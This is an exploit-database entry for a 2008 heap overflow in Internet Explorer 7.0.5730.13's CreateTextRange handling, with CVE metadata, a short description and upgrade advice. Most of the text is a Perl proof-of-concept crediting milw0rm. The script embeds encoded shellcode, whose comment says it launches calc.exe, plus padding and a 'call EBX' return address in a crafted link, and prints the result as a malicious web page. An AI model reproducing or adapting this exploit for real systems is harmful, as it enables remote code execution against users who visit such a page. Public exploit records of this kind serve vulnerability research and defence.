Microsoft Internet Explorer 7.0.5730.13 - 'CreateTextRange()' Heap Overflow

vendor:

Internet Explorer

by:

milw0rm.com

9.3

CVSS

HIGH

Heap Overflow

119

CWE

Product Name: Internet Explorer

Affected Version From: 7.0.5730.13

Affected Version To: 7.0.5730.13

Patch Exists: YES

Related CWE: CVE-2008-2765

CPE: a:microsoft:internet_explorer:7.0.5730.13

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2008

Microsoft Internet Explorer 7.0.5730.13 – ‘CreateTextRange()’ Heap Overflow

A heap overflow vulnerability exists in Microsoft Internet Explorer 7.0.5730.13. The vulnerability is caused due to a boundary error within the handling of the 'CreateTextRange()' method. This can be exploited to cause a stack-based buffer overflow by e.g. tricking a user into visiting a malicious web page.

Mitigation:

Upgrade to the latest version of Internet Explorer.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#

use warnings;
use strict;

# CMD="c:\windows\system32\calc.exe"
# [*] x86/alpha_mixed succeeded, final size 344
my $shellcode = 
"\xda\xc3\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a" .
"\x4a\x4a\x43\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41\x58" .
"\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c" .
"\x4d\x38\x47\x34\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x44\x45\x42\x58\x45\x51\x4a\x4f\x4c\x4b" .
"\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x45\x51\x4a\x4b\x50" .
"\x49\x4c\x4b\x47\x44\x4c\x4b\x45\x51\x4a\x4e\x46\x51\x49\x50" .
"\x4d\x49\x4e\x4c\x4b\x34\x49\x50\x43\x44\x43\x37\x49\x51\x49" .
"\x5a\x44\x4d\x45\x51\x49\x52\x4a\x4b\x4c\x34\x47\x4b\x51\x44" .
"\x47\x54\x45\x54\x43\x45\x4d\x35\x4c\x4b\x51\x4f\x47\x54\x45" .
"\x51\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f" .
"\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x43\x31\x4a" .
"\x4b\x4c\x49\x51\x4c\x51\x34\x43\x34\x48\x43\x51\x4f\x50\x31" .
"\x4c\x36\x45\x30\x51\x46\x42\x44\x4c\x4b\x51\x56\x46\x50\x4c" .
"\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b" .
"\x45\x38\x43\x38\x4b\x39\x4c\x38\x4c\x43\x49\x50\x43\x5a\x50" .
"\x50\x43\x58\x4a\x50\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4c\x58" .
"\x4b\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4a\x47\x42\x43\x46" .
"\x5a\x51\x4c\x42\x57\x42\x49\x42\x4e\x42\x44\x42\x4f\x42\x57" .
"\x43\x43\x51\x4c\x43\x43\x44\x39\x43\x43\x43\x44\x43\x55\x42" .
"\x4d\x47\x43\x50\x32\x51\x4c\x43\x53\x45\x31\x42\x4c\x42\x43" .
"\x46\x4e\x45\x35\x44\x38\x42\x45\x43\x30\x45\x5a\x41\x41"; 


my $evil_html	=	'<html><head><title>ph33r</title></head><body>' .
			#'<a href="http://AAAAAAAAAA' .
			#"\x41" x 450 .
			'<a href="http://' .
			$shellcode .
			"\x41" x 116 .
			"\x39\x5c\x3d\x7e" . # ascii friendly 'call EBX'
			'.htm">ph33r</a>' .
			"</body></html>";

print $evil_html;

# milw0rm.com [2008-07-22]